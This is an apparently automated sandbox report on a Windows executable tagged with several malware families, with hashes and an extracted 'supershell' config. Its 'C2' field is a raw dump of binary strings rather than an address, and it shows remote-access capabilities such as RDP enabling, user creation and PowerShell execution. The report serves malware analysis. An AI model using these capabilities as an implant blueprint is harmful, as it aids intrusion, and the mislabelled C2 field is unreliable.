Analysis

  • max time kernel
    102s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 11:37

General

  • Target
    2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
  • Size 5.0MB
  • Sample260712-nrkz1aay91
  • SHA256 6334880a5798f518a0b2b5b8aa91d508e09dd923f8e33111d72e81338ac789a2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • supershell

C2
  • 2.11.03.11.93.14.532 bit39062564 bit<-chanAacuteAcceptAckAllActiveAgraveAnswerApiURLArabicAtildeAugustAuthorBasic BearerBinaryBitBltBrahmiBypassCANCELCDATA[CLOSEDCarianCcedilChakmaClosedCommonCookieCopticCreateCustomDELETEDaggerEEPROMEacuteEgraveEndDocExpectFEPROMFormatFridayGOAWAYGetACPGetAceGothicHangulHatranHebrewHiddenHyphenIacuteIgraveIsMenuKaithiKhojkiLISTENLPDDR2LPDDR3LPDDR4LambdaLengthLepchaLineToLockedLycianLydianManualMondayMulDivNtildeOacuteOgraveOslashOtildePADDEDPING PONG PatBltPragmaREG_SZRejangSCHED STREETSTRINGSYSTEMScaronSearchServerSourceStatusStringSundaySymbolSyriacSystemTai_LeTangutTargetTeluguThaanaTmpDirTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11UacuteUgraveUserIdWARN: WINDIRWanchoWeeklyWeightX25519YacuteYezidi[%d]%s[]byte\u%04X\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u0008\u000b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u0022\u0026\u0027\u002b\u003c\u003e\u0060\u2028\u2029\ufffd _amd64aacuteacceptactionactiveagravearray*atildeavx512binaryborderbrvbarbuild bytes*ccedilcentoschan<-closedcmd_idconptycookiecoordscurrendaggerdebiandefinedeletedividedomaineacuteefenceegraveempty env.nuexec: existsexpectfedoraforallfrac12frac14frac34go %s goarchgopherhangupheaderheartsheighthelliphiddeniacuteigraveimportinternip+netiquestkMGTPEkilledlambdalfloorlistenlowastlsaquomailtomethodmiddotminutemonthsnats: natswsnetdnsnomeshntildenu.exenumbernutempoacuteobjectograveoriginoslashotildeotimesoutputpausedpermilplusmnpopcntposterprintfpythonquery:rdrandrdseedrdtscpreadatredhatremoverenamereturnrfloorrsaquorune1 scaronscopedscriptsecondselectsendtoserversigmafsilentsimplesocketsocks socks5spadessrcdocsrcsetstate(statusstdoutstringstructsweep switchsysmontargettelnetthere4thinsptimerstmpdirtypeofuacuteubuntuugraveuint16uint32uint64unusedusemapvaluesweierpwinptyx86_64xmlns:yacute{ARCH} %v=%v, (conn) (scan (scan) MB in Value> action allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= using zombie% CPU (%s %s; %s://%s%v days%v hour%v week%v year%v: %#x, goid=, j0 = , type=--force-nodeid/LOG=%s19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625: type ::ffff::method:scheme:status= "`API URLAckNoneActionsAgentIDAgentPKAvestanBaseURLBengaliBrailleCLOSINGCOMMENTCONNECTChanDirClassIdConnectContactContextConvertCopySidCreatedCypriotDEBUG: DeseretERROR: Ed25519ElbasanEllipseElymaicEnabledEndMenuEndPageEpsilonExpiresFATAL: FreeSidGNUStepGODEBUGGetMenuGetTaskGranthaGroupIdHEADERSHanunooILLEGALIM UsedIO waitInstAltInstNopInstallJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMaskBltMeshDirMonthlyMultaniMyanmarNewTaskOctoberOmicronOsmanyaPATHEXTPolygonRadicalRefererSELECT SHA-224SHA-256SHA-384SHA-512SUCCESSServiceSetMenuSetRectSharadaShavianSiddhamSinhalaSite IDSleepExSogdianSoyomboSubjectSwapperTagalogTask PKTibetanTirhutaToAsciiTrailerTuesdayTypeALLTypeOPTTypePTRTypeSOATypeSRVTypeTXTTypeWKSUNKNOWNUnknownUpdatesUpgradeUpsilonUsage: VersionWARNINGWSARecvWSASend[INFO] "`'/<-#\\.\UNC\ ) types value=_structabortedalefsymallocmRallocmWalt -> amxbf16amxint8amxtileanswersany -> archiveavx512fbdoUxXvbooleanbucket(charsetcheckedchunkedclassidclosurecmd.execolspancommandcomplexconnectconsolecontentcpuprofdefaultderiveddirnameenctypeepsilonexpiresfailingfields.finallyfloat32float64forcegcgctracehead = headershttp://installinstantintegerinvalidkeytypelognamelookup manjaromeshdirminpc= minutesmpr.dllmsgpacknil keynop -> number nushellomicronoperandoptimumosxsavepacer: packagepanic: passingpatternpdh.dllpreloadprintlnprofilepubdatereaddirrefererrefreshrestartresultsrowspanrunningsandboxsecondsserial:signal site-idspecialsrclangstoppedstring*subkeyssuccesssyscalltimeouttraileruintptrunknownupgradeupsilonversionwaitingwindowswsarecvwsasend{{end}} bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= packed= ping=%q pointer stack=[ status xmlns="%!Month(%.10q...%.1f %cB%02d%02d%25s: %s%s %s:%d%s /C %s%s&#x%x;%s: %s %s;%s;%s%v hours%v month%v weeks%v years&#xfffd;--config012345672.5.4.102.5.4.112.5.4.172006010248828125AbortDocAcceptExAcceptedAngleArcArmenianBAD RANKBalineseBopomofoBugineseCLICOLORCancelIoCherokeeClassANYComputerConflictContinueCopyRectCurveID(CyrillicDNS nameDSA-SHA1DecemberDeleteDCDisabledDownloadDrainingDrawIconDuployanDurationDwmFlushEndPaintEqualSidEthiopicExtenderFebruaryFillRectFullPathGeorgianGetFocusGetTasksGoStringGujaratiGurmukhiHOMEPATHHTTP/1.1HTTP/2.0HelpLinkHiraganaIdentityInsecureInstFailInstRuneIntervalIsWindowJavaneseKatakanaKayah_LiLAST_ACKLinear_ALinear_BLocationMD5+SHA1MD5-sessMahajaniMoveToExNO_ERRORNO_PROXYNode id:NovemberOl_ChikiOpenStepPRIORITYParseIntPasswordPhags_PaPolylinePriorityPtInRectQuestionReadFileReceivedResetDCWRunLevelSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SYN_SENTSameSiteSaturdaySetEventSetFocusSetTimerSettingsSystem32TagbanwaTai_ThamTai_VietTextOutWThursdayTifinaghToken %sTriggersTypeAAAATypeAXFRUgariticUpdateIDWSAIoctlZgotmplZ[::1]:53[:word:][ERROR] [signal "%s" %s 

 --%s stack=[_NewEnum_gatewayaddress agent_idantergosautoplayavx512bwavx512cdavx512dqavx512eravx512pfavx512vlbad instbeEfFgGvcgocheckcodebasecomp_syscompresscontinuecontrolscs curl -X datetimedeadlockdeno.exedenotempdisableddnsquerydropzonedurationencodingexecwaitexplicitexporterfile+netfinishedfont/otffont/ttffs graphicsgs has_morehijackedhostnamehreflanghttp/1.1if-matchif-rangeinfinityinsecureinvalid ip4:icmpis-*.tmplanguagelinkpathlocationlongdescloopbacklstrcpyWlstrlenWmanifestmultiplenats: %snatsportnew_namenew_pathno anodeno-cacheno_proxynssm.exeold_nameold_patholeaut32opensuseoriginalpanic %vpath %s photurispollDescpy38-x32py38-x64r10 r11 r12 r13 r14 r15 r8 r9 raspbianrax rbp rbx rcx rdi readfromreadonlyrecvfromredirectrequiredreversedrflags rip rsi rsp runnablescavengeseamlessselectedshutdownsockaddrsoftwarestrconv.syncmeshtabindextemplatetextareathetasymtraceBuftrigger=unixgramunknown(updtCnt:urlquerywsaioctlx509sha1{{else}} (forced) -> node= B exp.) B work ( as type blocked= in use) lockedg= lockedm= m->curg= marked ms cpu, not in [ of type runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=#ZgotmplZ%s %q: %s%s %x %x %v minute%v months%v second(unknown), newval=, oldval=, size = , tail = 01234567_0x%X (%d)1 error: 244140625: status=AUOptionsAgent ID:Agent PK:ArgumentsAuthorityAutomaticBase URL:Bassa_VahBhaiksukiBigEndianCONNECTEDCheckInSWClassINETClient IDCreateDCWCreateICWCreatePenCuneiformDiacriticDrawTextWEndDialogEqualRectEvery dayExecQueryFindCloseForbiddenGetDIBitsGetFolderGetWindowHOMEDRIVEHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLoadIconWLoadMenuWLocalFreeLogonTypeMalayalamMongolianMoveFileWNabataeanNot FoundOnFailurePalmyreneParseBoolParseUintPrincipalPublisherPurgeCommREG_DWORDREG_QWORDRPC debugRectangleReleaseDCReleaseIdRemoveAllRun Task:SamaritanSee OtherSendInputSeptemberSetBkModeSetCursorSetupCommStartDocWStartPageStartTypeSundaneseSyncMesh:TIME_WAITTimestampToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUnionRectUse ProxyWSASendToWakeToRunWednesdayWinTmpDirWriteFile[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundagent-wmiagent.logalmalinuxatomicor8autofocusautomaticbad indirbad prunebroadcastbus errorchallengechan sendchoco.execlient-idcomplex64config.nuconnectexconpty-incopystackcpu-totalctxt != 0d.nx != 0dns,filesdraggabledxva2.dllelement <empty urlexit_codefiles,dnsfont/wofffork/execfuncargs(gdi32.dllgetCallerhchanLeafimage/bmpimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplinuxmintlocalhostmSpanDeadmap[%s]%smaxlengthmeshagentmkdirtempmulticastnil errornil tracentdll.dllole32.dllomitemptyopeneulerpage_sizepanicwaitpclmulqdqpreemptedprofBlockprotocol psapi.dllquestionsrecover: reflect: runchecksrwxrwxrwxscavtracestackpoolstartTypesucceededtimestamptracebackundefinedunderflowunhandleduninstallurn:uuid:video/avivideo/mp4wbufSpanswebsocketwinmm.dllwsasendto{VERSION}{{break}}} stack=[ netGo = MB goal, but have flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!Weekday(%s|%s%s|%s%v minutes%v seconds, bound = , limit = -NoProfile.localhost.terminal./dev/stdin/etc/hosts/r /t 5 /f012345678912207031256103515625: parsing :authority<no value>AcceptEulaAdditionalAll monthsAlphaBlendBad varintBeginPaintCLOSE_WAITCONNECTINGCache DRAMCancelIoExCategoriesCategoryIDCheckInWMIChorasmianClassCHAOSClassCSNETCombineRgnConnectionContent-IdCreateFileCreateIconCreateMenuCreatePipeDSA-SHA256DaysOfWeekDefinitionDeleteMenuDeleteTaskDeprecatedDevanagariDnsQuery_WDragFinishDrawIconExECDSA-SHA1END_STREAMEnable RDPEvery weekException FIN_WAIT_1FIN_WAIT_2GC forced GOMAXPROCSGOMEMLIMITGetDlgItemGetFoldersGetIfEntryGetObjectWGetSubMenuGetVersionGlagoliticGlobalFreeGlobalLockHKEY_USERSHTTP_PROXYHost: %s IP addressIgnore NewInstalled:IsValidSidKeep-AliveKharoshthiLoadImageWLocalAllocLockFileExManichaeanMesh AgentMessage-IdMoveWindowNATS/1.0 NetUserAddNetUserDelNo ContentOffsetRectOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianPingCheck:PlaySoundWPolyBezierProcessingPulseEventREG_BINARYRIPEMD-160RST_STREAMRemoveMenuRepetitionResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSend EmailSet-CookieSetBkColorSetCaptureShcore.dllShowCursorShowWindowStatus: %sStretchBltSupportURLSynch DRAMUNKNOWN_%dUser-AgentWSACleanupWSASocketWWSAStartupWindows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:] --%s-- _reserved1agent-typearg %d: %watomicand8audio/aiffaudio/midiaudio/mpegaudio/waveavx512bf16avx512gfniavx512ifmaavx512vaesavx512vbmiavx512vnnibackgroundbase_boardcomplex128connectionconpty-outcreatetempdebug calldefinitiondnsapi.dlldwmapi.dllecho replyexecerrdotexitThreadexp masterfloat32nanfloat64nanfont/woff2formactionformmethodformtargetgetsockoptgoroutine http-equivhttp_proxyimage/avifimage/jpegimage/webpimpossibleinstanceofinvalid IPinvalidptrkeep-alivelocal-meshmSpanInUsemediagroupmesh agentmeshnodeidnil headernot a boolnotifyListnovalidateowner diedpowershellprofInsertpython.exeradiogroupres binderres masterresumptionrune <nil>runtime: gs.state = schedtracescientificsemacquiresession_idset-cookiesetsockoptskipping: socks bindspellcheckstackLarget.Kind == terminatedtracefree(tracegc() unins*.exeunixpacketunknown pcuser-agentuser32.dllvideo/webmwinagent-vwinpty.dllws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%d errors: %d.%d.%d.%d%s %s %s ) at entry+, elemsize=, npages = , settings:--no-prompt.WithCancel.cmdoutput./VERYSILENT/dev/stderr/dev/stdout/index.html0123456789_0x%08X (%d)30517578125: frame.sp=> in space AckExplicitAppendMenuWBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad RequestCOM HandlerClassHESIODCloseHandleCoGetObjectCookie.PathCreateFileWDaysOfMonthDefDlgProcWDeleteFileWDescriptionDestroyIconDestroyMenuDisplayNameDives_AkuruDownloaded:DrawMenuBarENABLE_PUSHEND_HEADERSESTABLISHEDEarly HintsEnable pingEndBoundaryEnumWindowsEnvironmentExitProcessFileVersionFindWindowWFreeLibraryGOMEMLIMIT=GOTRACEBACKGetFileTimeGetFileTypeGetIfEntry2GetKeyStateGetMenuInfoGetMessageWGetSysColorGetWindowDCGlobalAllocHTTPS_PROXYIdeographicIn-Reply-ToInflateRectInsertMenuWInstCaptureInstRuneAnyInstallDateInteractiveIsInstalledIsRectEmptyLastRunTimeLoadCursorWMachineGuidMarshalJSONMarshalTextMedefaidrinMesh Agent:Mesh agent:MessageBeepMessageBoxWModifyMenuWMoveFileExWNATS error:NandinagariNetShareAddNetShareDelNetUserEnumNew_Tai_LueNextRunTimeOld_PersianOld_SogdianOpenProcessPROGRAMDATAPatchMgmnt:Pau_Cin_HauPrintWindowProductNameRandomDelayRegCloseKeyReturn-PathSHA-512-256SHA-512/224SHA-512/256SYSTEMROOT=Sending WMISetCommMaskSetFileTimeSetMenuInfoSignWritingSoft_DottedStateChangeSwapBuffersSystemDriveTTL expiredTacticalRMMToUnicodeExUSERPROFILEUserenv.dllVariantInitVirtualFreeVirtualLockWARN RESTY WSARecvFromWaitMessageWaitTimeoutWarang_CitiWhite_Space[:^xdigit:]\device\mup_eval_args_additionalsagent-disksagent-helloalarm clockassistQueueauthoritiesavx512vbmi2avx512vnniwbad addressbad argSizebad m valuebad messagebad timedivbad verb '%broken pipecall of nilcgocall nilcheckrunnerclobberfreeclosesocketcombase.dllcontextmenucreated by crossorigincrypt32.dlldescriptionempty fieldexpected :=fallthroughfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3formenctypegccheckmarkgdiplus.dllgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=msimg32.dllmswsock.dllnetpollInitnil Contextnil contextnot definedoraclelinuxparse errorplaceholderraw-controlreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writestack tracetacticalrmmtls: alert(tls://%s:%stracealloc(traffic updunreachableunsupporteduserenv.dllversion.dllwinagent-v*winpty_freewinpty_openwsarecvfromwss://%s:%s (sensitive) = struct { B (∆goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= maxTrigger= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%02d-%d-%02d) p->status=, cons/mark --env-config-byte limit -fullinstall100-continue127.0.0.1:53152587890625762939453125> but have <Agent token:BODY : %v Bidi_ControlCIDR addressCONNECT %s CONTINUATIONCfgMgr32.dllCheckInDisksCheckInHelloCheckInPubIPCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateBitmapCreateCursorCreateEventWCreateFolderCreateMutexWCurrentBuildCustomSourceDDR2 FB-DIMMDEBUG RESTY DISCONNECTEDDaysIntervalDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ERROR RESTY EnableWindowEulaAcceptedExtCreatePenExtractIconWFindNextFileGetAddrInfoWGetCommStateGetConsoleCPGetCursorPosGetDlgCtrlIDGetLastErrorGetLengthSidGetMenuStateGetProcessIdGetStdHandleGetTempPathWGetTopWindowGlobalUnlockHEADERS: %s HOST : %s I'm a teapotIdleDurationIdleSettingsInstAltMatchIsDownloadedJoin_ControlKBArticleIDsLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMesh Node IDMime-VersionMissing pathMonthsOfYearMoreInfoURLsMsrcSeverityMulti-StatusNeedsReboot:Netapi32.dllNot ExtendedNot ModifiedNtCreateFileOpen ServiceOpenServiceWPROGRAMFILESPUSH_PROMISEPahawh_HmongPdhOpenQueryPeekMessageWPostMessageWProgramFilesPublicIP errRCodeRefusedRCodeSuccessRECONNECTINGREG_MULTI_SZReadConsoleWRedrawWindowRegGetValueWReleaseMutexReportEventWRestartCountResumeThreadRevertToSelfRoInitializeRun ParallelRunning taskSERIALNUMBERSHA-256-sessSYN_RECEIVEDSameSite=LaxScrollWindowSelectObjectSendMessageWSession LockSetCommBreakSetCommStateSetConsoleCPSetCursorPosSetEndOfFileSetErrorModeSetLocalTimeSetRectEmptySetStdHandleSetTextColorSetWindowPosSetupAPI.dllShow MessageSlowConsumerSora_SompengSubscriptionSubtractRectSyloti_NagriSysStringLenTactical RMMTacticalRMM_Thread32NextTransmitFileUnauthorizedUnlockFileExUpdateWindowUsing proxy:ValidateRectValueQueriesVariantClearVersionMajorVersionMinorVirtualAllocVirtualQueryWeeksOfMonthX-ImforwardsX-Powered-Byabi mismatchadvapi32.dllagent-winsvcaltmatch -> anynotnl -> autocompleteavx5124fmapsavx512bitalgbad flushGenbad g statusbad g0 stackbad recoveryblock clausebuild %s=%s c ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycomctl32.dllcomdlg32.dllcontent-typecontext.TODOdumping heapecho requestend tracegc entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowharddecommithost is downhttp2debug=1http2debug=2illegal seekimage/x-iconinvalid baseinvalid bodyinvalid kindinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dlllfstack.pushlogrus_errormadvdontneedmax-forwardsmesh_node_idmheapSpecialmissing pathmspanSpecialnetapi32.dllno extensionno such hostnot pollablenssm-x86.exentoskrnl.exeoleaut32.dllopengl32.dllout of rangepointtopointproxyconnectrandautoseedrecv_goaway_reflect.Copyregistrationreleasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptservices.exesetupapi.dllshort buffershutdown.exespanSetSpinestop_pendingstring|bytessweepWaiterstacticalrmm*traceStringstransmitfileunexpected )unins000.exeunknown portunknown typewinpty_bins/winpty_spawnwintrust.dllwirep: p->m=worker mode wtsapi32.dll{{continue}} != sweepgen (default %q) (default %v) MB globals, MB) workers= [%dm%s= called from closed by </ flushedWork idlethreads= in duration in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s://%s:%d/%s, gp->status=, not pointer--WebProxy=%s--no-progress-byte block (3814697265625: unknown pc <unsupported>AUDIT_FAILUREAUDIT_SUCCESSAccept-RangesAuthorizationCLIENT_RANDOMCONNECT_ERRORCPU Load Avg:Cache-ControlCertOpenStoreCheckInWinSvcCheckMenuItemCloseEventLogCoTaskMemFreeCompatibilityConnectServerContent-RangeCreateActCtxWCreateRectRgnCreateWindowWDRAINING_PUBSDRAINING_SUBSDeleteServiceDestroyCursorDestroyWindowDocumentationECDSAWithSHA1EnumProcessesEstimatedSizeExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWForcing ipv4:FreeAddrInfoWGC sweep waitGetClassLongWGetClassNameWGetClientRectGetDeviceCapsGetDriveTypeWGetIfEntry2ExGetMenuItemIDGetSystemMenuGetSystemTimeGetWindowInfoGetWindowRectGo CPU Check:Gunjala_GondiIIDFromStringIf-None-MatchImageList_AddInstallSourceIntersectRectInvalid monthLast-ModifiedLoop DetectedMapViewOfFileMasaram_GondiMende_KikakuiMeshAgent.exeModule32NextWNatsProxyPathNatsProxyPortNot InstalledOld_HungarianOpenClipboardOpenEventLogWPKCS1WithSHA1PdhCloseQueryREG_EXPAND_SZRPC RunChecksReadEventLogWRegDeleteKeyWRegEnumKeyExWRegEnumValueWRegOpenKeyExWReset ContentRestartOnIdleRtlCopyMemoryRtlGetVersionRtlInitStringRtlMoveMemoryRunOnlyIfIdleSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSSTREAM_CLOSEDSafeArrayCopySafeArrayLockSelectClipRgnSetBrushOrgExSetClassLongWSetDCPenColorSetSystemTimeShellExecuteWStartBoundaryStartServiceWStop ExistingStopOnIdleEndStringFromIIDSysFreeStringTacticalAgentThe log levelThread32FirstUNSUB %d %s Unknown ErrorUpdateID='%s'Usage of %s: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWaitCommEventWeeksIntervalWriteConsoleW[FrameHeader accept-rangesaccess deniedauthorizationbad flushGen bad map stateby_start_timecache-controlcomp_sys_prodcontent-rangedalTLDpSugct?define clausedouble unlockemail addressempty commandempty integerexchange fullexecRInternalfatal error: getTypeInfo: gethostbynamegetservbynamegzip, deflateif-none-matchimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base ip6:ipv6-icmplame referrallast-modifiedlevel 3 resetload64 failedmeshagent.exemin too largenats: timeoutnil stackbaseno name spacenot a Float32not availableout of memoryparsing time pause_pendingprofMemActiveprofMemFutureruntime: seq=runtime: val=socks connectsrmount errorstart_pendingtestRInternaltime exceededtimeEndPeriodtimer expiredtlsmaxrsasizetraceStackTabtrmm/%s/%s/%sunexpected %sunimplementedunknown type unsupported: updaterunninguser canceledvalue method wglShareListsxadd64 failedxchg64 failed} sched={pc: /* %s */null needspinning= nmidlelocked= on zero Value out of range procedure in to finalizer untyped args %v, Attempt %v-fulluninstall-thread limit .WithDeadline(/api/v3/choco/1907348632812595367431640625: extra text: <not Stringer>> closed by </Accept-CharsetActivateActCtxAgentStartup()CLICOLOR_FORCECallNextHookExCertCloseStoreClearCommBreakClearCommErrorClientToScreenCloseClipboardCoInitializeExCoUninitializeComputerNameExContent-LengthControlServiceCreateEventExWCreateMutexExWCreateProcessWCreateServiceWCryptGenRandomCurrentVersionDefWindowProcWDisplayVersionDkim-SignatureDragQueryFileWDragQueryPointDuplicateTokenDwmEnableMMCSSDwmShowContactERR_UNKNOWN_%dEmptyClipboardEnableMenuItemEnumPageFilesWFindFirstFileWFormatMessageWGC assist waitGC worker initGdiplusStartupGetConsoleModeGetMenuBarInfoGetMenuStringWGetMessageTimeGetPixelFormatGetProcAddressGetShellWindowGetStockObjectGetSystemTimesGetTickCount64GetUserNameExWGetWindowLongWGetWindowTextWHiliteMenuItemINTERNAL_ERRORInstEmptyWidthInvalid ActionInvalidateRectIsWellKnownSidIsWow64ProcessLastTaskResultLoadLibraryExWMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMapVirtualKeyWModule32FirstWNetUserGetInfoNetUserSetInfoNot AcceptableOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxPrints versionProcess32NextWPublicIP startQuotation_MarkRCodeNameErrorREFUSED_STREAMREQUEST_METHODReboot needed:RegDeleteTreeWRegSetValueExWReleaseCaptureRemote ConnectResourceHeaderRevisionNumberRunPythonCode:Running checksSUB %s %s %d ScreenToClientSession UnlockSetConsoleModeSetFilePointerSetPixelFormatSetThreadTokenSetWindowLongWSetWindowTextWSizeofResourceSleeping for 5SysAllocStringTrackPopupMenuTranslateNameWTypesSupportedVerQueryValueWVirtualProtectVirtualQueryEx[^\w@%+=:,./-]\.+*?()|[]{}^$ Error %d: %s accept-charsetagent-publicipallocfreetracebad allocCountbad record MACbad restart PCbad span statecontent-lengthdata truncatedfile too largefinalizer waitformnovalidategcstoptheworldgetprotobynameinternal errorinvalid optioninvalid pid %vinvalid semverinvalid syntaxis a directorykey size wronglen of type %slevel 2 haltedlevel 3 haltedmultipartfilesneed more datanetwork_confignil elem type!no module datano such devicepacket too bigpowershell.exeprotocol errorread_frame_eofreflect.Selectruntime: full=runtime: want=s.allocCount= script_resultssemaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown methodunknown mode: unknown node: unknown statusunreachable: unsafe.PointeruserArenaStatewglMakeCurrentwinapi error #work.full != 0zero parameter with GC prog (no semicolon) is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-NonInteractive0601021504Z0700476837158203125: cannot parse : no frame (sp=<invalid DWORD><invalid QWORD><invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryCLSIDFromProgIDCLSIDFromStringCallWindowProcWCheckInSyncMeshClientAuthType(Console ConnectCreateHardLinkWCreatePopupMenuCreateWindowExWDefSubclassProcDeviceIoControlDialogBoxParamWDragAcceptFilesDuplicateHandleEnabling RDP...Every other dayFailed to find Failed to load FindNextStreamWFindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGdiplusShutdownGetActiveObjectGetActiveWindowGetAdaptersInfoGetClassInfoExWGetCommTimeoutsGetCommandLineWGetEnhMetaFileWGetMenuItemRectGetMonitorInfoWGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTextMetricsWHEADERS : Hanifi_RohingyaIdempotency-KeyImpersonateSelfInsertMenuItemWInstallLocationIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredMonitorFromRectNTSTATUS 0x%08xNetGetAnyDCNameNetworkSettingsNot ImplementedNot InitializedNtResumeProcessOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPlayEnhMetaFilePostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWQueue InstancesRecovering meshRegCreateKeyExWRegDeleteValueWRequest TimeoutRestartIntervalRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSameSite=StrictSetCommTimeoutsSetDCBrushColorSetSecurityInfoSetVolumeLabelWShowWindowAsyncStatus: runningStringFromCLSIDStringFromGUID2SwapMouseButtonTactical Agent:The mode to runUninstallStringUnmapViewOfFileWhere to log toX-Forwarded-For] morebuf={pc:accept-encodingaccept-languageadvertise erroragent-agentinfoallocmRInternalapplication/oggapplication/pdfapplication/zipasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditabledesktop_monitordouble scavengeelem size wrongfmipv6 messagesfont/collectionforce gc (idle)invalid addressinvalid argSizeinvalid booleaninvalid pointerjstmpllitinterpkey has expiredkilling processmalloc deadlockmisaligned maskmissing addressmissing mcache?monitoring_typems: gomaxprocs=negative offsetnetwork is downnetwork_adapterno dot in fieldno medium foundno such processnon-minimal tagnot implementedpreempt SPWRITErecord overflowrecovery failedrecv_rststream_reflectlite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktacticalagent-vtacticalrmm.exetarinsecurepathtemplate clausetimeBeginPeriodtimestamp replytraceback stuckunclosed actionunexpected typeunknown Go typeunknown networkunknown versionunknown/invalidwindows-servicewinpty_set_sizewrite error: %wx-forwarded-forzipinsecurepath already; errno= mheap.sweepgen= not in ranges: untyped locals %s %s HTTP/1.1 ()<>@,;:\"/[]?= , not a function--no-config-file-ExecutionPolicy.WithValue(type /api/v3/checkin//etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type > in name space AdjustWindowRectAllowDemandStartAlready ReportedCheckInAgentInfoCheckInLimitDataCloseEnhMetaFileCoCreateInstanceConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateJobObjectWCreateNamedPipeWCreateSolidBrushCryptProtectDataCryptQueryObjectDefineDosDeviceWDelayedAutoStartDispatchMessageWDnsNameCompare_WDuplicateTokenExDwmDefWindowProcDwmRenderGestureDwmTetherContactEnabling ping...EnumChildWindowsEventMessageFileEvery other weekFRAME_SIZE_ERRORFile Not Found: FindFirstStreamWFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdipDisposeImageGetAsyncKeyStateGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleWindowGetCurrentActCtxGetCurrentThreadGetDesktopWindowGetFullPathNameWGetGUIThreadInfoGetKeyboardStateGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetModuleHandleWGetNamedPipeInfoGetOpenFileNameWGetPriorityClassGetSaveFileNameWGetSysColorBrushGetSystemMetricsHiberbootEnabledImageList_CreateImageList_RemoveImperial_AramaicInstRuneAnyNotNLIsDialogMessageWMapVirtualKeyExWMeroitic_CursiveMissing new_nameMissing old_nameMonitorFromPointMultiple ChoicesNATS 